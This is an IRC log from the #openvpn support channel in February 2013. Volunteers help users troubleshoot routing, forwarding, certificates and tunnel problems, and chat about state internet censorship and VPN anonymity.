16:20 -!- dazo is now known as dazo_afk
16:21 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
16:33 -!- max_ [~max@c-98-225-19-83.hsd1.wa.comcast.net] has joined #openvpn
16:37 -!- max_ [~max@c-98-225-19-83.hsd1.wa.comcast.net] has quit [Remote host closed the connection]
16:40 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
16:40 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
16:46 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
16:54 -!- merica [~aMERICA@75.111.74.37] has joined #openvpn
16:55 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out]
16:55 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
16:55 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
16:56 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
16:58 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
17:02 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
17:16 -!- max_ [~max@c-98-225-19-83.hsd1.wa.comcast.net] has joined #openvpn
17:18 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has joined #openvpn
17:20 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
17:22 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Quit: ZNC - http://znc.in]
17:24 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
17:31 -!- merica [~aMERICA@75.111.74.37] has quit [Ping timeout: 252 seconds]
17:33 -!- mezgani_ [~mezgani@41.140.40.237] has joined #openvpn
17:36 -!- p3rror [~mezgani@41.248.222.112] has quit [Ping timeout: 248 seconds]
17:38 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
17:39 -!- andi [~andi@unaffiliated/fr00d] has left #openvpn []
17:40 -!- merica [~aMERICA@75.111.74.37] has joined #openvpn
17:40 -!- merica [~aMERICA@75.111.74.37] has quit [Read error: Connection reset by peer]
17:42 -!- merica [~aMERICA@75.111.74.37] has joined #openvpn
17:45 -!- mezgani__ [~mezgani@41.249.97.201] has joined #openvpn
17:48 -!- mezgani_ [~mezgani@41.140.40.237] has quit [Ping timeout: 252 seconds]
17:48 -!- mezgani_ [~mezgani@41.140.24.197] has joined #openvpn
17:49 -!- max_ [~max@c-98-225-19-83.hsd1.wa.comcast.net] has quit [Quit: p33 ba115]
17:50 -!- mezgani__ [~mezgani@41.249.97.201] has quit [Ping timeout: 260 seconds]
18:00 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:28 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
18:56 -!- JSharpe [~JSharpe@188.227.181.234] has quit [Quit: Leaving]
19:05 -!- mezgani_ [~mezgani@41.140.24.197] has quit [Quit: Leaving]
19:05 -!- p3rror [~mezgani@41.140.24.197] has joined #openvpn
19:09 -!- p3rror [~mezgani@41.140.24.197] has quit [Read error: Connection reset by peer]
19:11 -!- p3rror [~mezgani@41.140.24.197] has joined #openvpn
19:28 -!- merica [~aMERICA@75.111.74.37] has quit [Quit: Leaving.]
19:39 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
19:54 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
20:04 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
20:05 -!- Devastator [~devas@177.99.152.50] has joined #openvpn
20:05 -!- Devastator [~devas@177.99.152.50] has quit [Changing host]
20:05 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
20:15 -!- p3rror [~mezgani@41.140.24.197] has quit [Remote host closed the connection]
20:36 -!- dolcea-xoom [~androirc@181.31.66.193] has joined #openvpn
20:37 -!- dolcea-xoom [~androirc@181.31.66.193] has left #openvpn []
20:52 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
21:17 -!- xkernel [~xkernel@gateway/tor-sasl/xkernel] has joined #openvpn
21:18 < xkernel> I have opevpn on my VPS, I can connect to it and ping and resolve hostnames successfully but can't open websites, the browser just keep on "waiting for response",  i'm using tun
21:22 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
21:32 -!- xkernel [~xkernel@gateway/tor-sasl/xkernel] has quit [Ping timeout: 276 seconds]
21:39 -!- xkernel [~xkernel@gateway/tor-sasl/xkernel] has joined #openvpn
21:40 -!- xkernel [~xkernel@gateway/tor-sasl/xkernel] has quit [Remote host closed the connection]
22:07 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has quit [Ping timeout: 248 seconds]
22:49 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has quit [Remote host closed the connection]
22:49 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
22:51 < roboman2444> is there a static binary? or way to make a static binary?
22:51 < roboman2444> i have been trying for a while, and i cant compile it completely static
22:56 < EugeneKay> I answered this question yesterday.
23:00 < uberushaximus> Sup EK
23:00 < EugeneKay> Very little.
23:01 < roboman2444> EugeneKay, i musthave not noticed it
23:01 < roboman2444> and my scrollback doesnt go that far back
23:01 < roboman2444> care to copypaste?
23:01 < EugeneKay> Out of my scroll buffer
23:01 < EugeneKay> !irclogs
23:01 <@vpnHelper> "irclogs" is Channel logs are available at http://secure-computing.net/logs/#openvpn.log and http://secure-computing.net/logs/#openvpn-devel.log and are updated every three hours.
23:01 < EugeneKay> ;-)
23:03 < roboman2444> nothing there
23:03 < roboman2444> "refresh for more"
23:04  * EugeneKay blames ecrist 
23:07 < roboman2444> probably
23:09 < roboman2444> anyway
23:09 < roboman2444> openvpn has a very complicated makefile system
23:09 < roboman2444> which makes it hard to get it to compile static
23:13 < uberushaximus> EugeneKay: do you know much about long range wifi networks?
23:18 < roboman2444> so EugeneKay care to ... re-say how to static compile?
23:19 < EugeneKay> Not really
23:20 < roboman2444> ...pleeeease?
23:21 < roboman2444> just a hint then?
23:21 < EugeneKay> https://www.google.com/search?q=openvpn+compile+static
23:21 <@vpnHelper> Title: openvpn compile static - Google Search (at www.google.com)
23:22 < roboman2444> yea
23:22 < roboman2444> all those links are purple
23:22 < EugeneKay> Try #openvpn-devel
23:22 < roboman2444> k
23:25 -!- emmanuelux [~emmanuelu@94.23.150.162] has quit [Quit: emmanuelux]
--- Day changed Sun Feb 24 2013
00:46 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Quit: Leaving]
02:56 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:14 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
03:24 -!- Orbi [~opera@109.129.1.126] has joined #openvpn
03:38 -!- Orbi [~opera@109.129.1.126] has left #openvpn []
03:38 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
03:43 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Ping timeout: 264 seconds]
03:46 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
03:51 -!- RealRancor [~Rancor@mafiaforum.de] has quit [Ping timeout: 264 seconds]
04:08 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
04:10 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Quit: Ex-Chat]
04:14 -!- athetius [~sollux@athetius.com] has joined #openvpn
04:24 < athetius> ios OpenVPN app is unable to connect to openvpn. The error is: EVENT: CORE_ERROR connect: No route to host [ERR]. Connection works with the same config but with a Linux laptop (on the same network), will post configs once pastebin comes back up.
04:27 -!- catsup [~d@64.111.123.163] has quit [Remote host closed the connection]
04:31 < athetius> server.conf: http://pastie.org/6327242
04:34 < athetius> client.ovpn: http://pastie.org/6327249
04:36 < athetius> /etc/rc.local (on server): http://pastie.org/6327260
04:43 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
04:47 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
04:53 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
05:11 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Ping timeout: 248 seconds]
05:14 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
05:33 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Ping timeout: 248 seconds]
05:37 < pppingme> athetius from the client, can you ping the server?
05:37 < pppingme> oh, just saw your fw rules, you don't seem to allow for pings, bad bad bad...  makes troubleshooting harder
05:40 -!- APTX [APTX@unaffiliated/aptx] has quit [Ping timeout: 276 seconds]
05:42 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
05:44 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Client Quit]
05:46 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit []
06:02 -!- JSharpe [~JSharpe@37.220.15.234] has joined #openvpn
06:37 -!- dsii [allan@hijacked.us] has left #openvpn []
06:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
06:47 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:04 -!- p3rror [~mezgani@41.249.131.248] has joined #openvpn
07:04 -!- master_of_master [~master_of@p57B52F92.dip.t-dialin.net] has quit [Ping timeout: 248 seconds]
07:06 -!- master_of_master [~master_of@p57B525AE.dip.t-dialin.net] has joined #openvpn
07:11 -!- stereoit79 [~stereo@ip-78-45-42-209.net.upcbroadband.cz] has joined #openvpn
07:12 < stereoit79> hello, how do I generate server certiifcate request (with the nsCertType=server) to be signed by another CA?
07:15 -!- Teck7__ [~teck7@70.50.155.78] has joined #openvpn
07:18 -!- Teck7 [~teck7@bas1-montreal54-1279376358.dsl.bell.ca] has quit [Ping timeout: 256 seconds]
07:37 < dvl> stereoit79:  perhaps this will help: http://www.freebsddiary.org/bacula-tls.php
07:37 -!- stereoit79 [~stereo@ip-78-45-42-209.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
07:37 <@vpnHelper> Title: The FreeBSD Diary -- Bacula - Transport Layer Security (TLS) (at www.freebsddiary.org)
07:38 < dvl> But? ummm, perhaps not.
07:39 < dvl> I've been using ssladmin for this.  https://dan.langille.org/2013/01/03/ssl-admin/
07:42 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
07:42 -!- mode/#openvpn [+v s7r] by ChanServ
08:20 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 276 seconds]
09:11 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
09:12 -!- meepmeep [~meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 252 seconds]
09:17 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 264 seconds]
09:22 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
09:32 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
09:33 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 245 seconds]
09:35 < Suterusu> Hi, How do I diagnose: Sun Feb 24 08:44:55 2013 us=367163 CBD-Orthus/81.152.141.152:35234 MULTI: bad source address from client [192.168.1.113], packet dropped -=- 'cause I've suddenly started to get a lot of them, Resulting in me being disconnected from my VPN
09:36 < Suterusu> Also, How does one set the VPN to connect automatically on disconnection - I've 'connect automatically' ticked in my network manager, doesn't appear to do the trick. Also, How do I ensure my network is piped through my VPN - ie: if it isn't going through the VPN, it doesn't leave this machine.
09:36 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
09:37 -!- meepmeep [meepmeep@212.24.104.229] has joined #openvpn
09:38 < pekster> Suterusu: Network manages tends to do lots of things poorly, and the general recommendation is not to use it
09:38 < pekster> !keepalive
09:38 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
09:38 < pekster> And for redirection:
09:39 < pekster> !redirect
09:39 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:39 <@vpnHelper> http://ircpimps.org/redirect.png
09:39 < pekster> As for preventing non-VPN traffic going out, you'll need to write some firewall rules for that
09:39 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
09:41 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
09:54 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
09:55 < Suterusu> 'cause that is getting annoying
09:58 < pekster> Suterusu: OpenVPN drops traffic not associated with the IP (tun) or MAC (tap) of traffic it receives from the peer. Stop your client from sending that traffic, or if you intend to route a client-side LAN, you must use an iroute so the server is aware of the additional network
09:59 < pekster> tcpdump on the client-side on the VPN adapter and it should be very obvious what the bad traffic is. Then go fix it
10:01 < Suterusu> k, give it a shot - I'm not aware o anything 'additional' or 'new' tho
10:02 < Suterusu> hah - tcpdump: no suitable device found
10:02 < Suterusu> Love it when things 'just work'
10:02 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
10:03 < Suterusu> I takes it I does this on tun0 ?
10:14 < pekster> Yup. 'tcpdump -pni tun0' will show you all traffic on that device
10:14 < pekster> If the bad source address is consistent, you can dump on that, or dump with the filter "not host $actual_vpn_host" (set that to your VPN IP, of course)
10:15 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
10:16 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
10:20 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
10:23 < Suterusu> hmm, I just '-i' - whats the 'pn' aboot?   The 'bad addy' seems consitent, yeah, And occurs in large blocks, mebbe 20-100 packets atta time
10:24 < Suterusu> ahh - yay manpages
10:24 < pekster> Indeed. You should always invoke tcpdump with -p unless you *actually* want to put the interface in promisc mode (if you don't understand that, you don't want it)
10:24 < Suterusu> hmm, don't see no lowercase p in there - whats tht?
10:24 < pekster> -pni is the same as -p -n -i
10:24 < pekster> getopts
10:25 < pekster> It's there. Use the slash key to search manpages (assuming your pager is less)
10:27 < Suterusu> hehe, That just highlighted every 'p' in the text...   So the filter would be: "not host $10.8.0.6" - inc qoutes?
10:34 < pekster> No quotes
10:34 < pekster> tcpdump -pni tun not host 10.8.0.6
10:35 < pekster> The $ is a variable declaration in most shells. By using it I mean "replace $foo with your real-world usage here)
10:35 < pekster> And try search the manpage for the string -p
10:35 < pekster> Not just "p"
10:35 < DougEFresh> !tcp
10:35 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
10:35 < pekster> tun0
10:43 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
10:44 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has joined #openvpn
10:59 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
11:00 -!- hydroxyhydride [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
11:00 -!- bumblebee [~bumblebee@cpe-66-65-132-80.nyc.res.rr.com] has joined #openvpn
11:05 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
11:10 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
11:10 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
11:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
11:10 -!- mode/#openvpn [+o krzee] by ChanServ
11:15 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Quit: Leaving]
11:19 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
11:20 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Connection reset by peer]
11:25 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
11:26 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
11:28 <@ecrist> dvl: I always loving coming out there, but we've got lots going on at $work right now 
11:30 <+s7r> i have a friend in Iran and the govt. there implemented at country level some kind of filter to throttle bandwidth. if they see traffic is high they reduce bandwidth from 1mbps to 64kbps making browsing impossible.
11:30 <+s7r> any way out for this?
11:31 <+s7r> openvpn, PPTP, SSTP, L2TP don't help ... not even tor
11:31 <@ecrist> no
11:31 < kisom> No.
11:32 <@ecrist> if they're monitoring bandwidth usage, that's not going to change regardless of vpn
11:34 <@krzee> you could play with multiple connections, for example what happens if you use a torrent without letting any single connection use too much bandwidth
11:35 <@krzee> of course, if that works i dont know anything to let you take advantage…
11:35 < kisom> He's gonna get his door busted by the cops if he starts torrenting in iran :)
11:35 <+s7r> i was thinking
11:35 <@krzee> theres legal torrents
11:35 <+s7r> maybe they throttle only tcp and udp .. i was thinking to make an ICMP tunnel
11:35 <+s7r> it's just a thought
11:36 < kisom> s7r: As already mentioned, they probably only count the number of packets regardless of the protocol.
11:36 < kisom> Hence it most likly wont work.
11:36 <@krzee> agreed, but may as well test
11:36 <+s7r> yeah... since it's something implemented at country level i doubt they didn't think about ICMP :)
11:36 <+s7r> but yeah, a test is worth it
11:37 <+s7r> last year they used deep package inspection to throttle all SSL connections (openvpn, https, ssh, esmtp, everything which uses ssl)
11:37 <+s7r> but you could bypass that uing obfsproxy and tor
11:37 <+s7r> obfsproxy makes ssl encrypted traffic look like innocent traffic
11:37 < pekster> You can do all sorts of crazy tunnels; IP over ICMP, or over DNS, etc, etc. However, openvpn encapsulates at thte UDP (or tcp, if using it) level. It doesn't care "how" you get that UDP data to your peer
11:38 < pekster> Openvpn will even work over RFC2549. I don't recommend it, however
11:40 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
11:42 <+s7r> i know .. but maybe they only filter tcp and udp packets... not icmp
11:42 <+s7r> if they filter all packets... is there any way out of this ?
11:43 < pekster> Satellite. Or my referenced carrier pigin protocol ;)
11:43 <@krzee> lol
11:43 < pekster> state-level censorship sucks
11:43 < kisom> Short wave radio
11:43 < kisom> ;)
11:43 <@krzee> or of course you could check what i said
11:44 <@krzee> and then if it helps, you could create a new type of proxy, lol
11:44 < pekster> They've got standards for exotic things like IP over DNS requests
11:44 < pekster> It's very non-trivial to set up and requires control of a domain you have access to DNS setup for (particularly for NS deligation) but it's a cool idea. Not great overhead/throughput, but it's still nifty
11:45 <@krzee> [13:34]  <krzee> you could play with multiple connections, for example what happens if you use a torrent without letting any single connection use too much bandwidth
11:45 <@krzee> [13:35]  <krzee> of course, if that works i dont know anything to let you take advantage…
11:46 < pekster> Yes, I saw that. I was answer the question about "all packets"
11:46 < dvl> ecrist:  $work is very important.  It allows $play.
11:46 <@krzee> boats and hoes also allow for his $play
11:46 <@krzee> :D
11:47 <@krzee> !ecrist
11:47 <@krzee> aww
11:49 <@krzee> !learn ecrist as http://www.youtube.com/watch?v=0Veqz8W98iA
11:49 <@vpnHelper> Joo got it.
11:52 <+s7r> krzee: that solution is not practical for average home users
11:52 <+s7r> they have a single connection
11:52 <@krzee> then there is no possible solution
11:52 <@krzee> i was reaching anyways
11:53 -!- Suterusu1 [~EyeR@host81-152-141-152.range81-152.btcentralplus.com] has joined #openvpn
11:53 <@ecrist> krzee: :D
11:54 <+s7r> too bad
11:54 <+s7r> :)
11:54 <+s7r> the only solution there is to take down that state system
11:55 <+s7r> how can a normal country censorship internet? internet is knowledge and fast communications at global level, for news, for sharing information
11:55 <+s7r> naturally there are some bad things also on the internet but the good things prevail over the bad ones
11:55 <@krzee> they dont care about the "bad things"
11:55 <@krzee> they care about threats to the state
11:55 < pekster> Dictatorships have never liked free access to information. They'd rather censor things en-mass to stop that
11:55 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
11:56 <+s7r> yes they like to keep the population dumb
11:56 <@krzee> by dictatorship you mean strong states, right?
11:56 <+s7r> they don't want them to learn how other countries live
11:56 < pekster> Internet is just the next version of controlling the press, books, radio, etc
11:57 <@krzee> for example, china is not a dictatorship, but is a great example of a state which censors in masse
11:57 < uberushaximus> why censor when you can flood the people's minds with the irrelevant?
11:57 <@krzee> i make the distinction because america is a strong state which is trying to enact laws that will allow censorship, and i feel its important we dont give off the vibe that "it cant happen here"
11:58 <+s7r> yes you are right it's the next version of controlling the media but people already learned about it and know it should be left free
11:58 <+s7r> and they come out in the street everytime there's a threat
11:59 <@krzee> cispa is going through another attempt
11:59 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
11:59 < uberushaximus> six strikes is starting tomorrow
12:00 <@krzee> 6 strikes?
12:00 <@krzee> that's half a perfect game!
12:02 -!- Devastator [~devas@177.18.196.4] has joined #openvpn
12:03 -!- Devastator [~devas@177.18.196.4] has quit [Changing host]
12:03 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
12:08 -!- Suterusu1 [~EyeR@host81-152-141-152.range81-152.btcentralplus.com] has quit [Ping timeout: 260 seconds]
12:10 < pekster> Sure, replace "dictatorship" with "opressive regime" if you'd like
12:11 < pekster> Things like 6-strikes is different as it's not state-level; it's cooperation between private ISPs and private interest groups. And ultimately, the prople the {MP,RI}AA are going after in fact breaking US copyright law. I'm not going to argue over if that's "right" or not as ##Politics is more appropriate for that ;)
12:12 < pekster> On a side note, I'm waiting for all these new "VPN" and "seedbox" useres to find themselves in sore lack of protection when warrants, pen-trace, and subpoenas are issued to US or "friendly" juristictions to un-mask people hiding behind what is effectively a glorified proxy
12:13 < pekster> The term "annonymous VPN" cracks me up every time since VPNs are the exact opposite of annonymous; they go through great lengths, in fact, to cryptographically verify the identity of the remote end
12:24 -!- md_5 [md_5@mcdevs/trusted/md-5] has quit [Ping timeout: 276 seconds]
12:25 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
12:26 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has quit [Ping timeout: 256 seconds]
12:26 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has joined #openvpn
12:29 -!- md_5 [md_5@mcdevs/trusted/md-5] has joined #openvpn
12:30 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
12:38 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
12:42 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
12:50 -!- neilhwatson [~neilhwats@cl-274.chi-03.us.sixxs.net] has joined #openvpn
12:53 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:01 < neilhwatson> I trying to set up a bridged tunnel.  Following the redirect flowchart I'm led to 'is NAT enabled on VPN subnet'.  The trouble is I'm not using NAT.  Both client and server have public IP's.  The server is assigning a public IP to the client.   What could the problem be?
13:02 < neilhwatson> configs: https://gist.github.com/neilhwatson/5025038
13:02 <@vpnHelper> Title: openvpn configs (at gist.github.com)
13:04 < pekster> You can't use the same IP for the pool range as you do for your server
13:04 < pekster> Line 32 in that paste
13:05 < neilhwatson> Sorry, that was a typo in the gist, not the real configs.  Corrected.
13:07 < pekster> So where are you running into problems? That setup looks fine
13:07 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
13:09 < neilhwatson> When the tunnel is up, I can ping the server from the client.  I can't ping 8.8.8.8 from the client.  Ip_forwarding is enabled on the server (net.ipv4.conf.eth0.forwarding = 1, net.ipv4.conf.br0.forwarding = 1, and net.ipv4.conf.tap0.forwarding = 1).
13:15 < neilhwatson> Does is matter that the server IP and the IP assigned to the client are within the same subnet?  I see a warning about that in the client log.
13:17 < pekster> YOu need sysctl net.ipv4.ip_forward
13:17 < pekster> Not just for the specific intefaces
13:17 < neilhwatson> net.ipv4.ip_forward = 1
13:17 < pekster> And you can safely ignore that warning
13:18 < pekster> So, you can ping the server; that's good and expected. tcpdump to see where the forward traffic gets lost
13:18 < pekster> I'm guessing a firewall issue on the server
13:18 < pekster> ie: server probably sees the client request come in on tap0, but not out the external iface
13:18 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
13:18 < pekster> Remember too that tcpdump hooks before the netfilter stack, so you can "see" traffic you later drop (for inbound packets)
13:19 < pekster> For output, if you see it in tcpdump it'll be on the wire, assuming no hardware/NIC issues
13:19 < neilhwatson> I cleared both firewalls (shorewall clear) but the problem persisted.  I'll try the dump though unless you have another idea.
13:20 < pekster> I don't use shorewall so I can't comment. Put netfilter rules somewhere if you want me to look at them, in 'iptables-save -c' syntax
13:28 < neilhwatson> I did tcpdump -i tap0 on the server, cleared ip tables, started the tunnel and pinged 8.8.8.8 from the client.  The dump shows only arp requests over and over:
13:28 < neilhwatson> 14:25:21.405332 ARP, Request who-has server.example.com tell client.example.com, length 28
13:28 < neilhwatson> 14:25:21.405339 ARP, Reply server.example.com is-at 00:16:36:6f:ff:14 (oui Unknown), length 28
13:28 < pekster> Then the request isn't even getting to the server
13:28 < pekster> Client routing or fw issue it would appear
13:29 < neilhwatson> dump tap0 on client then.
13:29 < pekster> I assume the tcpdump properly shows the pings that are working?
13:29 < pekster> Yea, you can work backwards to the client, that's a good idea
13:29 < pekster> Make sure the client is actually sending it; the server shouldn't drop traffic on a tunnel that's up that the client sends without a note in the log
13:33 -!- neilhwatson [~neilhwats@cl-274.chi-03.us.sixxs.net] has quit [Ping timeout: 245 seconds]
13:35 -!- neilhwatson [~neilhwats@cl-274.chi-03.us.sixxs.net] has joined #openvpn
13:36 < neilhwatson> that was odd.  I did not see any traffic on the client's tap0.
13:38 < pekster> Linux on the client? 'ip route get 8.8.8.8'
13:39 < pekster> If it's not the route, it could still be a client-side firewll
13:40 < neilhwatson> 8.8.8.8 via <server IP> dev tap0 src <client VPN IP>
13:40 < neilhwatson> Linux client.
13:42 < neilhwatson> iptables clear: https://gist.github.com/neilhwatson/5025038
13:42 <@vpnHelper> Title: openvpn configs (at gist.github.com)
13:44 < neilhwatson> Correct, I do see some traffic, but not the ping.  I see the same arp requests and 14:42:52.696532 STP 802.1w, Rapid STP, Flags [Learn, Forward], bridge-id 8000.00:d0:00:71:a9:97.81a4, length 42
13:45 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
13:51 < Devastator> !howto
13:51 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:53 < Devastator> this friggin isp, I can't even open howto links
13:53 < pekster> tor, or proxy, or use openvpn to redirect yourself to a host you control
13:54 < pekster> neilhwatson: Even the ping to the server's IP?
13:54 < pekster> Or just not seeing the 8.8.8.8 ping?
13:55 < pekster> If you're connected to the VPN, openvpn will deliver anything sent into tap0 on one side to tap0 on the other, barring a firewall preventing it or network error beweten you dropping the traffic
13:56 < pekster> neilhwatson: If that's the server's netfilter ruleset, it looks fine. net.ipv4.ip_forward =1, so that's good. Have you checked the client firewall? Done the same for client routing table making sure it actually got/applied the two /1 routes for the def1 redirect?  Maybe tcpdump the physical interface if you don't see it on tap0 to see if it's routing it wrongly?
13:56 < pekster> Checked client logs for errors applying the routes?
13:59 -!- Suterusu [~EyeR@unaffiliated/suterusu] has joined #openvpn
14:02 -!- meepmeep [meepmeep@212.24.104.229] has quit [Read error: Operation timed out]
14:04 -!- zhvtar [~zhvtar@198.23.139.102] has joined #openvpn
14:04 -!- zhvtar [~zhvtar@198.23.139.102] has quit [Changing host]
14:04 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has joined #openvpn
14:05 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
14:09 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 260 seconds]
14:09 -!- Suterusu [~EyeR@unaffiliated/suterusu] has quit [Ping timeout: 260 seconds]
14:11 < Devastator> openvpn.net is 67.228.116.150?
14:11 < pekster> Yup, that's the only A record
14:12 < Martin`> there are also 2 mx recors
14:12 < Devastator> time to reconnect again, gotta love my isp and/or level3/gblx
14:12 < Devastator> brb
14:13 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
14:13 < Martin`> good luck
14:15 -!- Devastator- [~devas@186.214.110.44] has joined #openvpn
14:15 -!- Devastator- [~devas@186.214.110.44] has quit [Changing host]
14:15 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
14:16 < Devastator-> yep, now it works..
